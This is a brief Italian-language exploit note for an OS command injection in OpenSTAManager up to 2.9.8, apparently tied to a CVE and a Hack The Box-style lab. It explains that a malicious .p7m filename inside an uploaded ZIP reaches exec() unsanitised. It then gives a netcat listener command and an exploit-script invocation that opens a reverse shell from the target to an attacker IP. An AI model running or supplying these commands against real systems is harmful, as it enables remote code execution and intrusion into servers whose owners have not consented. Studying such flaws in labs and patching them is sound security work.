
OpenSTAManager <= 2.9.8 — Iniezione di comandi del sistema operativo tramite nome file .p7m malevolo nel caricamento ZIP.
File: src/Util/XML.php:100 — $file non sanitizzato in exec()
Vettore: /plugins/importFE_ZIP/actions.php → ZIP → nome file .p7m → exec("openssl smime ... -in \"$file\" ...")
# Listener
nc -lvnp 4444
# Exploit
python3 CVE-2025-69212.py http://target.htb YOUR_PHPSESSID 10.10.14.X 4444